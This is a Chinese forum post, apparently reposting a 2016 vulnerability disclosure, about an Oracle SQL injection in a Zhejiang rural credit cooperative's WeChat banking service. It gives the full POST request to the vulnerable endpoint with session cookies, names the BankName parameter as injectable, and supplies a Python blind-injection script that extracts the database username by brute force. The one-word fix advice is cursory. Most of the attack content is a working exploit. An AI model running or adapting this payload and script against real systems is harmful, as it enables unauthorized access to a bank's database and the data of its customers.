HanDs
管理员

[7月漏洞公开] 浙江农村信用社某站Oracle注入漏洞 



RT

详细说明:

浙江农信微信服务

000.png



00.png



漏洞地址:

code 区域
POST /pwxweb/BankList.do HTTP/1.1
Host: **.**.**.**
Connection: close
Content-Length: 160
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; U; Android 6.0.1; zh-cn; MI NOTE LTE Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/46.0.2490.85 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://**.**.**.**/pwxweb/BankQuery.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
Cookie: ZJ96596_USER_SESSION=791238e2-8298-4af9-99cf-2c1cf755265d; ZJ96596_USER_TOKEN=791238e2-8298-4af9-99cf-2c1cf755265d; JSESSIONID=t6bBXTNWwRVr1T2LLNDj8cfgmLkrmPy0gj0pp7qpxY6HcLg1StH1!810861580

_viewReferer=custom%2FBankQuery&CITY_NAME=&TOWN_NAME=&BankName=%E6%94%AF%E8%A1%8C&Locat_X=0&Locat_Y=0&Type=01



BankName存在注入

当前用户名长度.png

漏洞证明:

上脚本跑,得到最终用户名为:WEIXIN__

用户名.png



脚本:

code 区域
import requests
headers={"Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.12860.10 Safari/537.36"}
url="http://**.**.**.**/pwxweb/BankList.do"
payloads=list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.')
user=""
for i in range(1,9):
for str in payloads:
body="_viewReferer=custom%2FBankQuery&CITY_NAME=&TOWN_NAME=&BankName=%E6%94%AF%E8%A1%8C%'%0aand%0auser%0alike%0a'"+user+str+"%'%0aand%0a'1'like'1&Locat_X=0&Locat_Y=0&Type=01"
r=requests.post(url=url,data=body,headers=headers)
print ".",
if(len(r.text)>10000):
user+=str;
print "\nOralce_user is:",user
break;

修复方案:

过滤


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
浙江 农村 信用社 O ra cl e 注入 漏洞
#1楼
发帖时间:2016-7-19   |   查看数:0   |   回复数:0
游客组
快速回复